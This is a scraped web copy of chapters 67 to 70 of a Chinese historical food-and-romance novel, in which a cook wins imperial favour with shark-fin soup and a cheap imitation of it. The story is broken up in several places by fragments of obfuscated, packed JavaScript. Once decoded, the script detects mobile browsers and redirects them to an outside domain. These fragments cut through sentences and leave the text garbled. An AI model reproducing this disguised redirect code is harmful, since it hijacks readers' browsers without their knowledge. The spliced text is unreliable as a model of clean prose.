RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542009|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菜炒冬笋，酒酿清蒸鸭子，百叶芽菜炒鸭丝，还有一笼鸭油和面包的酱肉包子。 校尉顾不上言语，一筷子伸到清蒸鸭子上。其味鲜甜，竟似搁了牛乳，有一股甜美的奶香。 只是这荠菜炒冬笋...... “掌柜的，我可知道，你家推了时令的春笋。为何给我上的不是春菜，倒是冬笋？” “客官，荠菜可也是正当时的春菜。荠菜娇气，你瞧它色碧如佩，便知它是极鲜嫩的。它就是得配冬笋来炒才行。” “冬笋个头实在，口感厚嫩。一大块一大块的裹上荠菜末，不至于叫它挤到一处去，滋味不匀。” 校尉一尝，果真。雪白的冬笋块，浑身遍裹青绿的荠菜，唯一点薄芡，一丝咸意而已。 滋味全靠二鲜本身。冬笋经过焯水去净了涩意，荠菜挤干净了水分吸满了油盐。 素菜才是火候菜，必须断生即出。否则菜色发枯发黄，正如美郎君花容失色，那便一点也不美了。 萧仁禹收了油纸伞迈入厅堂，正听得蓝大掌柜与带刀侍卫畅谈美学。 蓝锦听得响动，抬头一瞧，咦，怎么探花不簪花？ “萧翰林，这边请。” 蓝锦欲引他去厢房，萧仁禹却径直在大厅寻个位子坐下了。 “今日在这里便好。” 蓝锦无可无不可，主随客便嘛。 “今日还是老样子？” “还是老样子。” 校尉犹豫着要不要去打招呼，犹豫了几瞬，把这熟稔的对话听了个清楚。 ——他还跟掌柜的介绍，本朝有个最年轻的探花郎。瞧人家这关系，比跟他亲近多了。 萧仁禹似有似无地瞧了一眼山茶校尉。 蓝锦亲自端来了一罐老火靓汤。一早便在文火慢煲上了，他若来，便给他喝；他若不来，便自家享用。 不看僧面看佛面。不看佛面，也要看预存的金锭子的面。不看金面，还能看一看小郎君的芙蓉面。 老火汤搁了用素油煎的新宰鱼头，里头有甘鲜的干菜，有浓香的火腿，还有猪骨、鲜鸭，一炖炖上几个时辰，不鲜掉眉毛说不过去。 用餐前先喝汤，这是萧仁禹来了蓝记酒楼才习得的新吃法。 一口靓汤下去，滑、美、鲜、香。只觉这味道如此简单纯净，全无腥膻，全无腻烦。 却又复杂难懂——他未曾在任何一个地方喝过。 就像蓝小娘子一样神秘。自从认识她以来，总是给他惊喜。 另有一份糟熘鱼片，一份蝉衣包，一份家常炒青菜，就跟给梁若虹炒的那份一模一样。 几道菜一上，萧仁禹迅速光盘。 蓝锦时常怀疑，明明他吃饭的动作，任何时候看见，都优雅十足。是怎么做到这么快的？ 萧仁禹放下筷子，依新形成的习惯认真夸赞：“蝉衣包真的薄如蝉翼，荠鲜满口。小娘子做豆腐衣的手法，出神入化。” 蓝锦拿来一支牡丹花，笑道：“用完了餐，也聊表一二谢意。今日便簪这朵粉白的，如何？” 迈步进来的大公主令章顿住了。看看她，又看看他：“你们二人......” 67. 第67章 大公主微服而来，萧仁禹略一点头便算致礼。 他无视了谢令章的眼神，淡定地接过蓝锦手中的花：“很好看。” 信手别在帽檐边，好一个花面交相映。 蓝锦挂着笑，谢令章和吃饱喝足还赖着不走的校尉一个表情：不是萧探花你...... 小秋扎着总角，从后院里抱着她的卷毛狗跑出来：“萧阿兄，今日可给我带了新的猫儿塑？” 在众人的眼光中，簪花的探花郎从胸前掏出一枚软成一滩的小猫饼，递与岳素秋。 小秋喜滋滋的：“萧阿兄果真说话算话，你真是顶好的大人。” 家中的一套猫儿塑，叫阿姐珍惜地从昭应带到了天都。就摆在正院的百宝架上。 小秋喜欢这套猫儿塑，趴在蓝记厢房的桌子上，画猫儿脸，叫路过的萧仁禹碰见个正着。 讨蓝大掌柜的欢心十分棘手，可让小秋掌柜高兴就容易多了。 萧清珩人虽然跑了，专替她做话本子里大小人物的师傅可还没跑。 于是，萧仁禹当即替小秋画了几张猫儿脸，许诺以后送她一模一样的猫儿塑。 小秋把小猫饼托给蓝锦照看，一溜烟跑去柜台拿陀螺。 蓝锦和大公主看着院中玩陀螺的一大一小，相视一笑。 “就让他替我带孩子罢。可是军需工坊的事有了新进展？” “正是如此。” 大公主满脸笑容，同蓝锦去厢房商量。 军需工坊的第一批产品，已经浩浩荡荡奔赴了边境，收到了只能啃冷羹硬饼的军士一致好评。 “适逢樊阿关大捷，父皇龙颜大悦，欲在宫中摆家宴，延请宗室和近臣。” 蓝锦眼睛一亮。 “我就知道蓝掌柜想要一展身手。已替你禀明，此次家宴，特请蓝记酒楼进献菜肴。你可别怪我越过你做主。”谢令章搁下玫瑰花饼，娓娓道来。 这可是天降馅饼，若蓝记酒楼能在皇室面前露一露脸，便更能甩开其他酒肆一大截了。 蓝锦再三谢过，为谢令章奉上一道精心制作的山海兜。 取嫩笋的尖尖，掐了跟打着弯的嫩蕨菜，沸水一过，青绿好看。 河里刚捞起来的鲜鱼剔了骨，经过椒盐、花雕腌渍，一汆即打起了卷。 掌心大小的鲜虾，也从水里一捞，鲜红蜷曲。 调味只需简单的酱油、盐、胡椒，用糯滑的粉皮裹成一个个小兜子，山河湖海尽皆囊括其中。 夹起一枚，粉皮卷还在轻轻地颤，晶莹薄透，内里的各色馅料若隐若现。 尝上一口，食材本身的鲜味争相涌来。 这种鲜味不是一味一种，舌尖细抿，微妙的区别和层次就渐次展开，甚是有趣。 世间万事万物皆有其味。 有时，佐料不需多，食材的本味搭配得宜，本身就可以焕发新的生机。 奉御菜肴依旧不能免俗，在食材搭配上也恪守此道。 为免失了格调，不搭御宴，蓝锦仔细地挑来挑去，最终择定了一道食材昂贵、烹饪也繁琐的菜色。 ——鱼翅羹。 托蒋长昭娘子的福，跟萧府搭上线的水陆商队，货品单子都打蓝记酒楼过一遭。 南北干货，奇珍异材，应有尽有。 小臂长的干鱼翅，是从水路千里迢迢过来的贵价鲜物。 翅唇里的鲨鱼骨已经精心剔去，像一只剥了皮的笋，其色稠白。 蓝锦过了宫门口的公验，一个慈眉善目的姑姑立刻迎了上来。 “蓝娘子，您往这边走。虽说是家宴，可宫里的宴席兹事体大，这几日少不得要在这流连了。” “萧翰林嘱咐过，若您有需要，只管来寻我。我们的住处紧挨着。” 蓝锦这才恍然，方才入宫验看顺当得过分，禁卫俱恭敬尊重。 早在刚得知消息的时候，她便犯愁。献菜虽是好事，可为规矩计，掌勺者都得进宫做菜。 宫门深似海，这可不是什么游山玩水的全封闭夏令营，而是机遇与危险并存。 没想到萧翰林还是这么细致的人。 或是因为在禁内听到了熟悉的名字，蓝锦不自觉放松了一些。 到得御膳房，蓝锦还有单独的小间，不必面对许多资历颇深的同事。 蓝锦检点着带进来的鱼翅，不错，仍旧完整，品相上佳。 干鱼翅要发得好，才能软烂不腥。这一进程至少要提前三天。 蓝锦轻柔地冲洗干净。小间里的厨具都是合乎她需要的，怪不得萧仁禹曾跟她要了一个单子。 她拿一个大釜，盛满冷水，搁入鱼翅，静待它发软张大。 这第一日就无事可做了。然而蓝锦人就在这守着，完全不敢走远。 隔间门口却走进来一个高大的壮年太监，对着蓝锦一致礼：“蓝娘子，您去歇着，换我来守便成。” 蓝锦等他一抬头，双眼瞬间瞪圆，竟是甲一！ “你，你怎么到这里来了？” 甲一小声道：“奉命行事。” 鱼翅若想发得好，起码提前两三日来做。 蓝锦正发愁这几天该如何是好。已经做好了睡不了整觉，守在锅前，撑不住了打个盹，再猛然惊醒的准备。 大家都是老熟人，她信不过其他宫人，还信不过知根知底的甲一吗？ 蓝锦回了引路姑姑带自己去的住处。 卧房隔间还有热水热炉，有个小丫头跑过来，口气也是温和沉稳的：“我给娘子提些热水盥足，好歹松泛一些。” 又絮絮地与蓝锦说了许多，诸如几更后莫燃烛火，该走哪扇门，往年奉菜的惯例和仪程。 蓝锦再初来乍到，也知此言难得，当下便从荷包里掏出梁若虹备下的银锞子。 小丫头摆摆手不收，只说有人给过了。 这一夜好睡无梦，蓝锦换下了守夜的甲一。揭开盖子，鱼翅的腥味已叫冷水带走。 今日便要开始煮发。她重换了新的冷水，又倒入好花雕，切了些许姜片。 煮沸后的鱼翅改由文火慢炖。只要控制好火候，鱼翅自然逐渐摊开。 蓝锦仔细看着火，不叫锅里大沸，最多只能冒些小泡。煮好的水也不必倒掉，鱼翅仍搁在里头，自然放凉。 甲一旁观着忙了一天的蓝锦，暗自咋舌。怪不得二公子挚爱蓝娘子做的菜——区区一道菜，竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542010|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然费上这么多功夫。 若换了他，早也枯燥得以头抢地了。 蓝锦并不觉得枯燥。她眸子炯炯，仔细瞧着鱼翅每一片翅纹的变化。 食物是最不辜负人的。烹饪之人若是精心对待，它们便彷佛重获新生，逐渐舒展，游走，弹跳。 烹饪的过程中，不止有立竿见影的成就感。最后，大厨还能享用美味，或是欣赏我辈中人陶醉美食的幸福笑纹、衷心称赞，世上还有比这更划算的事吗？ 如是再次换水，再次换姜换酒，再次煮发。干硬的鱼翅完全舒张，改头换面，变得柔软而不失韧滑。 蓝锦眼中无岁月，唯有一锅一翅而已。 华灯初上，鼓乐飘渺，到了宫宴的正日子。 鱼翅羹的高汤是提前就炖上了的。选年份不大不小的土鸡，筋骨结实的猪前蹄，整段切下的圆火腿。 焯去杂质，俨俨地炖上几个时辰。此刻已经浓香勾人，色若牛乳。 这还不算完。蓝锦小心地将鱼翅倒入小瓷盅，确保个个完整。再小心地倒入高汤，盖紧盅盖，上锅去蒸炖。 这些浓稠金亮的鱼翅羹，一摆上宴席的食案，便吸引了全部的目光。 “这道菜倒是未曾见过。”圣人好奇地端起瓷盅，舀起一勺羹来尝。 其鲜逼人，柔中带韧，不像吃过的任何一种肉食。 “怀瑾，你也曾四处游历，可曾吃过这样鲜的羹？” “回圣上，并不曾。” “臣斗胆，似乎在家乡吃过三分像的菜色。”一位出身潮州的大臣开口道。 “哦？说来听听。” “臣家乡临海，渔民时与大鱼搏斗，而其肉腥不可食，唯其翅可入口。” “往往煮了肉汤，切了萝卜细丝，与翅同煮。其形散乱混杂，不能分辨何为萝卜，何为翅丝。味道自然也不如此羹多矣。” 圣人不住颔首：“这羹确实鲜美非凡，无可匹敌。” 座下之人无不点头称是。 若不是只得这一小碗，恨不得能立刻吃得一干二净。 浓稠爽滑，看不出究竟放了何种调料，面上不过几滴大红香醋，却让人回味无穷。 这是蓝锦精心选酿的醋种，品格如同后世的大红浙醋。 这位潮州重臣却双眉紧蹙： “只是，这鱼翅得之不易，往往害人性命，致使家道中落，人丁凋敝。” “原只是地方陋习，不知如何能上得圣人的餐桌。” “臣以为，奉上此物之人居心叵测，有毁圣上清名之嫌，其罪当诛。” 萧仁禹的手指骤然攥紧。 未等他开口，圣人便笑着说道：“爱卿多虑了，进献此物之人，刚在为西北军需事宜做出贡献，足见其心昭昭，不会像你说的那般。” “更何况，鱼翅羹确实罕见味美。她能进献此物，也是一片孝心啊，呵呵。” 潮州大臣仍不愿松口，他面前的鱼翅羹只喝了一口，坚持道：“圣上三思，若此风蔓延，只恐民生凋敝，苦不堪言，白骨遍野啊！” 圣人拿着银勺的手到底停下了。 萧仁禹面色从容地起身离座：“圣上，此事不必担心。” 68. 第68章 “献此鱼翅，非是提倡日用，乃是以恢弘气象合宫宴典制。” “此羹以其技艺之极，彰其心之诚。何况，臣听闻此厨神乎其技，甚至能以平价食材做出鱼翅羹之味。” “日后若此法推行，亦可惠及百姓。陛下既喜此味，岂非一举两得？” 圣人当即来了兴趣：“此话可当真？” 萧仁禹颔首：“此厨定在偏殿静候，圣上一召便知。” 如果能享受美味，还不必穷奢极侈，又不受道德谴责，谁会拒绝？ 蓝锦进殿的时候颇觉恍惚。 虽则家宴，殿中金碧辉煌，位次规整，歌舞莺啼流转。 她侧头看见了离席的萧仁禹，因熟悉的面孔心中稍安。 圣人肃着脸道：“平身罢。听闻你能不用鱼翅，做出鱼翅羹，此事可当真？” 蓝锦瞧见萧仁禹暗暗递来的眼色，心中纳罕。 她不过是在发鱼翅的间隙，等得百无聊赖，做了碗仔翅，聊解馋意罢了。 圣人如何知道这个能代替鱼翅，萧仁禹说的？ 难不成，他还扒着御膳房的门偷看自己做菜？ “回圣上，确有此事。主要是细粉丝，香菇丝，木耳丝，鸡蛋，鸡丝做成的，名曰‘碗仔翅’。” “若要其鲜味，可以再添些泡发的花胶，干瑶柱，或是墨鱼丝，蹄筋......” “如果烹调得当，其味几乎以假乱真。只是食材成本低廉，恐有鱼目混珠之嫌，故而未曾奉上。” 圣人龙颜大悦：“好，好，未必是鱼目混珠，是明珠蒙尘也未可知。特许你即刻做些碗仔翅奉上，诸位都尝尝，看看称不称得上以假乱真。” 蓝锦领命，退出门外才觉汗水已打湿脊背。 她暗呼一口气，进宫真是富贵险中求。 碗仔翅是粤港一带的街头特色小吃。 鱼翅虽然未曾在本朝受到追捧，却在后来闻名大江南北，人人知其鲜美奢华。 若让不时露出尖牙利嘴的汪曾祺来评说，此罪都该归功于明人纵欲，才让这些高蛋白贵价食材大行其道。 于是便有机灵的商人，从酒楼食肆收来破碎的翅丝边角料，置于小碗中。 用些提鲜的替代物煮来售卖，名曰“碗仔翅”。 调味也是简单至极，必有白胡椒粉和大红浙醋这两项，里头还有些麻油。 鱼翅丝也渐渐退场，改用细如须的粉丝代替，食客照样吃得津津有味。 太监鱼贯而入，奉上新做成的一份份碗仔翅。 其色褐中带亮，是味极鲜和老抽的缘故。漂于其上的鸡蛋丝，若隐若现地摇曳。 同样熬煮得浓稠爽滑，这是花胶与马蹄粉的功劳。 萧仁禹率先舀起一勺，入口鲜浓，全然不输鱼翅羹。 他嘴角翘起，也不知在骄傲些什么。 蓝锦在殿中安静侍立，呼吸都放轻。 良久，一连喝了大半碗的圣人才满面红光地放下了碗勺。 “大善！世上真有此种神厨，竟然能点石成金。都是寻常物什，也能做出堪比鱼翅的美味。爱卿，你可还有什么话说？这下可不必去诛什么人了吧？” 潮州大臣捧着快空了的碗仔翅，还在回味方才的体验。冷不丁听见此问，赶忙道：“没有了，没有了。” 此羹没用到所谓罕见难得的食材，仍在口味一途登峰造极。 他若是再固执否认，那就真成了冥顽不化的老学究了。 圣人哈哈大笑。 蓝锦此刻才松了一小口气。 本想躲懒，借后世著名食材的东风，做本朝第一个献鱼翅进宫的人。 和鱼翅识于微时的提携之情，还未受到反哺，就差点就叫自己成了千古罪人。 万幸有碗仔翅逆转局势，万幸萧仁禹是个大嘴巴。 圣人一锤定音：“蓝记很好！先和令章一道，为边境将士改善了军需供应。又做出如此美味佳肴，赏！” “以后，鱼翅羹止步于宫禁中，这道碗仔翅很该大肆推行。朕也很久没有这般与民同乐的大好机缘了！” 一时宾主尽欢。座中除了二皇子承彦心有不忿，没人不是高高兴兴的。 蓝锦退回偏殿，排起长队的奉赏之人早已在此间等候。 有宫中御酒十坛，外来香料若干，奶制品若干。云锦丝帛，金银珠宝，不胜枚举。 蓝锦暗自啧舌，这皇帝吓人归吓人，还挺大方的。 还有一个容长脸的姑姑，笑眯眯地说道： “圣上为军需工坊赐名‘食饷司’，特赐娘子为司首，称‘尚膳女史’，归大公主管辖。” “此后，娘子手下的酒楼可免赋税。” 蓝锦惊喜万分，其他且不论，赋税可是一大笔钱！ 她摩拳擦掌，恨不得立刻原地开出百十家店，最好手拉手遍布全国，把这个羊毛薅干净。 * “阿姐！阿姐！” 小秋一路跑着出门，冲着一路红花簇拥、刚下马车的蓝锦挥手。 御赐的物件浩浩荡荡进了蓝记酒楼，吸引了几条街的人围观。 蓝锦欢喜地把小秋抱在怀里：“哎哟，几天不见，你又结实了，我怎么都要抱不动了！” 小秋蹬着腿蹿下来：“阿姐你累了！” 又狡黠地一撸袖子，给蓝锦看她臂膀，神秘兮兮地说：“萧阿兄天天来教我练剑，阿姐你瞧，我也有腱子肉了。” 蓝锦惊讶道：“还有这事？” 悟雅笑盈盈地说： “可不是嘛！小秋长日缠着甲一教她上树。近来也不知是怎么了，甲一不在，萧翰林倒是一早就来。坐树下喝娘子泡的果茶，指点她扎马步。” 汝月给蓝锦拿来了家常的大衫，动手帮她拆头上的繁琐首饰。 蓝锦笑着说：“原来我不在的这几日，发生了这么多事。” 悟雅大咧咧道：“也没什么事，左不过就是萧翰林一个人的事。娘子，此次进宫可顺利？” 蓝锦这才把宫中的惊险详细一说。 悟雅和汝月吓得连连拍胸脯。汝月一副劫后余生的样子：“看来萧翰林的消息也算不得十分准。当时不是他说，圣人最爱花团锦簇的罕见美味么？” “准的。你们不知道，圣人喝了我那两道羹，眉毛都飞到后脑勺了。哪怕上了碗仔翅，他还是偷偷遮掩着，把鱼翅羹给喝完了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542011|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 那种光盘后短暂的空虚和遗憾，蓝锦见多了，一看就懂。 “那就是那个大臣作怪，吃了这么好吃的汤羹，还不知足，做什么平白吓唬我们娘子？”悟雅忿忿道。 蓝锦倒是安慰她：“他也是有他的道理。我这不是没事嘛。有人替我说话，最后也有惊无险，这还得了赏赐。” “何况，圣人金口玉言，说了‘大肆推行’，这不正是我们为碗仔翅扬名的大好时机吗？” 其实，早在献菜之前，蓝锦便做好了打算。 鱼翅难得，可碗仔翅，作为它一体两面的附属品，必将风靡民间。 她也是存了铤而走险的心思。先以鱼翅羹在御膳扬名，再以贱博贵，叫碗仔翅继承这个盛名。 “不管了，鏖战之后很该放松庆祝，你们还不给我做好吃的。” “今日酒楼关门歇业一天，大家愿唱歌便唱歌，愿跳舞跳舞。摆上酒肉，我们不醉不归！” 悟雅第一个响应。 人生得意须尽欢。蓝锦作主，把御赐的美酒开了一大坛子，人人有份。 深褐色的卤鸭货摆上了桌。卤鸭胗糯软入味，卤鸭肠弹牙脆口，卤鸭心醇香滑嫩，样样都是下酒上品。 小秋抱着一道桂花糯米藕，吃个不停。蓝锦跟她争抢着，不叫她吃多了糯米不消化。 姐妹俩的斗争从糯米藕，跑到糖煎排骨。 小排煎出了玻璃焦壳，深朱红的边沿透着光，含到嘴里还有酸梅子的滋味。 “叫花鸡来了！” 汝月捧着一大块泥坨子，从院中跑进来。 “呀！” “放这里放这里。” “我来拆！” 吃了几天宫里样板间一样的精致菜肴，蓝锦十分渴求这样大开大合的俗气美味。 悟雅自告奋勇，把包在黄泥荷叶里的叫花鸡拆出来，不叫蓝锦脏了手。 当她掀开最后一层荷叶，热气裹着鸡肉香味奔涌而出，直冲人鼻端。 鸡皮黄中带焦，牢牢锁住其下的肉汁。 “这味道可不错！”蓝锦深吸一口气，一双杏眼紧紧锁住桌上的叫花鸡。 大家都不含糊，许多双手齐上阵，一阵撕扯。 脆薄的鸡皮稍一用力便破开，白花花嫩生生的鸡肉露了出来。 蓝锦只觉不能再多用一分力，因为鸡骨头都要自己滑出来了。 她不顾热烫，往口中一送。 焦脆的鸡皮香香的，吸足了味道。 既有荷叶的清新，还有药材的香甜，又有各味复杂香料的咸鲜。 鸡肉软烂至极，舌头一抿就要化开。汁水奔忙，涌了满嘴。 蓝锦徒手撕鸡，啃得满嘴油光。 一边嚼一边点头，话都说得含糊不清：“太好吃了！太香了！汝月，你的调味本事又有进步。” 人人都是这般想法。 不过一会儿功夫，座中诸人都吃得眼神涣散，晶润的嘴唇满是鸡汁。 蓝锦搁下最后一块鸡骨头，满足地眯起眼睛，懒洋洋地伸了个懒腰。 往椅子上一瘫，深呼出一口气，颇有一副“人生如此，夫复何求”的意思。 69. 第69章 “哎呀，阿姐！我变成狐狸了！你瞧我的尾巴......” 小秋揉揉迷离的睡眼，看清床前粉绿衫裙的来人是谁，迷糊地说道。 如今天气转热，日头一日高似一日。 清晨的阳光穿过花窗棂，斜打在小秋肉嘟嘟的小脸上。光斑流转，她脸颊上的小金毛根根可见。 小秋扭着上身，费力去够背后的“尾巴”：“阿姐，你瞧，是红红的。” 想拽过来，团到阿姐的腰上，显摆一下。 蓝锦笑嘻嘻地过去哈她痒痒： “小糊涂宝，夜里变成狐狸啦。还长出了蓬松的尾巴，对不对？那是你在做梦呀。来起床吧，咱们今日啊，要去姑祖母府上做客。” 大长公主元宁是特来为“尚膳女史”撑腰庆贺的。 使人给梁若虹传信的时候，还命她学自己得意洋洋的模样，绘声绘色道： “我说什么来着？小辈的事不用管太多，她们自个就好起来了。你还差点不听嘞！” 气得梁若虹险些不去了。 蓝锦和小秋挤眉弄眼，偷偷在一旁看笑话。 大长公主的口味，和梁若虹不太一样。她喜爱甘甜肥美，熟烂丰腴的东西，荤素不忌。 简单来说，越不健康越好。 大概年岁越长，越勘破世事，养生一事早抛掷脑后。 用她的话说，人生若寄，不如纵情，当痛浮一大白！ 此次虽是为庆祝蓝锦得了机缘，她还是决定不做空手上门的客，精心为大长公主准备了几道吃食。 “小娘子这边请，您这般记挂着咱们主子，实在叫人感动。”圆团脸的姑姑笑得慈祥，将蓝锦引到公主府的大厨房。 蓝锦带了御赐的鲜奶，先做一道糖蒸酥酪。 牛乳难得，这道甜点便成了富贵人家才得一见的美味。叫现代人蓝锦看来，做法却极简单。 不过将搁了糖的牛乳煮沸过滤，放入酒酿汁子，搅匀蒸熟，再等它冷却凝固。 吃起来入口即化，细腻柔和，甜香盈口。 这还不算什么，赐下来的东西里，还有香浓的奶油。 搁不住，做起来也颇费功夫。蓝锦琢磨了一下，大抵是叫醇厚的鲜奶沉淀，专门捞起表层的乳脂。 如是用奶油和面起酥，起一口油锅，炸成小条。 这道酥点的灵感来自于吉事果，也就是西班牙油条。 传说葡萄牙人从中国学到了油条的技术，传到西班牙，换成星形嘴挤面团，油炸至金黄。 待要吃时，蘸着咖啡，奶油，巧克力酱，那滋味......啧啧，叫她哪里去寻巧克力！ 蓝锦感叹了一番与巧克力的恨不相逢，把满腔热忱都投注在面前的糖油混合物上。 有糖，有油炸，有碳水，起酥条没有难吃的空间。 起酥也是传统糕点里惯用的了。 《红楼梦》里一道“松瓤鹅油卷”，曲曲五个字，勾起多少看客的口水。 若要好吃，蓝锦疑心，那就像奶油号角一类的物什。 外间一只揉了鹅油的酥皮筒，满腔满腹都是香甜的奶油，缀上些松仁罢了。 除了爱四处追着人跑，扭人小腿，鹅实在是个好东西。 鹅肉肥厚，鹅油也极其香醇。 黄褐色的潮汕卤鹅，鹅肝煮到断生的边缘，咬下去满口糯滑陶醉——那可几乎是一包纯正的鹅油。 咸味勾人，嫩得像什么也没吃似的，比起世界闻名的法式鹅肝也不掉牌面。 同样是填出来的油脂，法国的鹅肝要西装餐巾下高级馆子，潮汕鹅肝只用趿着拖鞋下楼——菜场就有。 空口吃鹅油难免满怀罪恶，包裹在精致点心里就不觉得什么了。 蓝锦不知在哪里看过一道点心，使鹅油揉了面，白糖做了馅，上锅去蒸。 这样一笼鹅油糖饺，待客极佳。 大厨房的仆妇眼看着蓝锦一会儿满脸笑容——实际是馋出来的；一会儿恶狠狠的——想立刻抓只鹅宰了吃肉，皆神色变换不定。 蓝锦自己还是有条不紊，指挥着汝月和悟雅。甜点做得，接着准备主菜。 天气逐渐转热。坐着不动，衣裳贴在身上的地方，隔一会儿便能感到潮意。 蓝锦便打算做些补水补盐的。 淮扬菜里有一道大煮干丝，乃是用白色的香干，切成细丝，放了多多的汤水煮就的。 香干经过精挑细选，品质上乘。 色泽是白而偏微黄的，弹性也十足，拿起来也不会断了裂了。 有人不喜豆制品，恨的就是那股豆腥味。 上好的香干，只闻其香。这便是这道大煮干丝的妙处所在了。 煮干丝听起来简单，真想要做好却没那么容易。 首先要考验的就是下厨之人的刀工。 蓝锦给汝月做着示范。得像切文思豆腐那样，刀上沾些水，下刀不可犹豫，非得一气呵成才好。 方方正正的香干，转瞬便成了数以千计的豆腐细丝。 弹嘟嘟的似一座小山，不过几片香干，做一道菜也尽够了。 汝月在一旁夸了又夸：“这道菜可是极其省俭食材。” 蓝锦笑道：“你以为真是白水煮干丝？那只怕不受待见，难吃得猫狗都要上房揭瓦了。” 她取来腌制好的火腿。夏天这些干货也不好搁，正好做成了菜，还有机会换成银子，冻不坏也热不坏。 用以炒菜的火腿，最好是选中段肉，也就是传说中的“上方”。 这个部位盐分相对少，味道却鲜浓。肌间脂肪分布均匀，肉质细嫩鲜美，也最卖得上价。 泡洗切好的火腿丝，就如干丝一般细。近于深粉色，荤鲜味已然扑鼻而来。 如此还不算完，蓝锦拿出一早预备好的干海虾。 这是商队千里迢迢运回天都的。 晒干了的海虾，个个大而红亮，肉质的鲜弹还很好地保留着，不散不碎。 蓝锦耐心地洗净，剔去海虾上残存的壳，细细地撕成差不多大小的丝。 两红一白，深浅有致，就这样摆在瓷白的备菜盘上。 悟雅掩住嘴大呼：“不敢想象，这道菜该有多好吃！” 再看到自家娘子端来一锅鸡汤，更觉得惊讶：“这道菜可别再叫大煮干丝了，应该叫山海陆煮干丝。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542012|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >跑山的土鸡，多重工序的腌猪腿，海里捞起炮制的大虾，都要为区区香干作配。 蓝锦笑道：“正是这样才叫‘大煮’。” 这便是淮扬菜，若是信了它的名字，不看价码随意点菜，只怕荷包要受苦。 它对鸡汤也有要求。怕金灿灿的鸡油，破坏了大煮干丝的汤色，也恐伤了口感。 所以，厚重的鸡油，一概撇去不要。 如是，这些精致的原材料，放进一个大锅，炖上半个多时辰，撒些薄盐罢了。 汤汁却不必全部保留，否则真成了大喝煮干丝水了。 蓝锦把各种丝全部捞到一个圆碗里，稍微按实。 反手扣在上菜盘子里，便是一座像模像样的小山。 倒上几勺汤，浓香的白汤顺着干丝翘起的尾巴，缓缓向下流淌滴落。 琳琅满目的菜肴上了桌，大长公主骄矜道：“还是我们锦娘知道疼我，贴心贴意。” 梁若虹没好气道：“那还不马上跑库房，把你压箱底的东西都给了她。” 谢元宁哈哈大笑：“你当我做不出呀。” 她夹起一枚油炸酥奶条，大呼过瘾。又舀一勺糖蒸酥酪，眯起眼来满脸享受。 连夹煮干丝都是一大筷子，一大口入嘴：“嗯！这个豆腐丝吸味道，鲜而不腻，我好像什么鲜味都尝出来了。” 正是如此，大煮干丝就是这样将食材的本味融合到一处。 蓝锦给谢元宁盛上一碗冬瓜竹笋鹌鹑汤，也不忘给傲娇的自家外祖母奉上一份：“尝尝这个，已经搁得不烫人了，极爽口的。” 谢元宁乐颠颠地接过了蓝锦的孝敬。汤里有青白的冬瓜，翠黄的盐渍笋，和金黄的炸鹌鹑。 一口入腹，清爽鲜美，和从前喝过的浓汤、白汤又不一样。 汤色是清澈的，汤味是微妙的，幽幽地涤荡唇舌，整个人都叫这股鲜味冲洗一过。 谢元宁拿着勺子不愿放下：“锦娘，这道菜恐怕要卖不少银钱，走俏得厉害吧？” 蓝锦笑道：“还未曾上水牌，只在您这里做了一做。” 谢元宁调侃道：“你看看！我们锦娘拿我做试菜的。我乐意做！试菜的说好，极好，尽管去张罗着卖钱吧。” 蓝锦笑着答应。谢元宁却脸色滞了一下，像是记起什么来：“我想起一事，承彦那孩子与我打听过你。” “旁敲侧击的，问你的酒楼开了多久，生辰是哪一年，以后是什么打算。日后，也得小心他那头的动作。” 蓝锦也惊了一跳，二皇子？他们可从来没什么正经交集。 不怪她多心，从前的浔阳侯，不正是想将她送到“唯一正统”二皇子府上吗？ 剩下的半顿饭，蓝锦吃得心不在焉。 梁若虹瞧出来了，贴心道： “既是歇业休息，便歇个彻底。今日你也别回去了，索性去庄子上，瞧瞧温棚里的地莓可培育成了。” 蓝锦无可无不可，依言去了，权当分散注意力。 “嘶咴儿——” 马匹双足立起，发出痛苦的叫声。马车骤然停下，向后倾倒。 “娘子！”一道惊呼穿云裂石。 70. 第70章 电光火石之间，蓝锦只觉手腕一热，转瞬叫人拽进了怀里。 身后发丝根根旋落，抚过了他的手。 她闻到一股零陵香的气味，混杂着纸墨香。 是萧仁禹。 两人第一次离得这么近，近得她能看见他指腹的细小墨痕，热烫遒劲的臂膀牢牢托住了她。 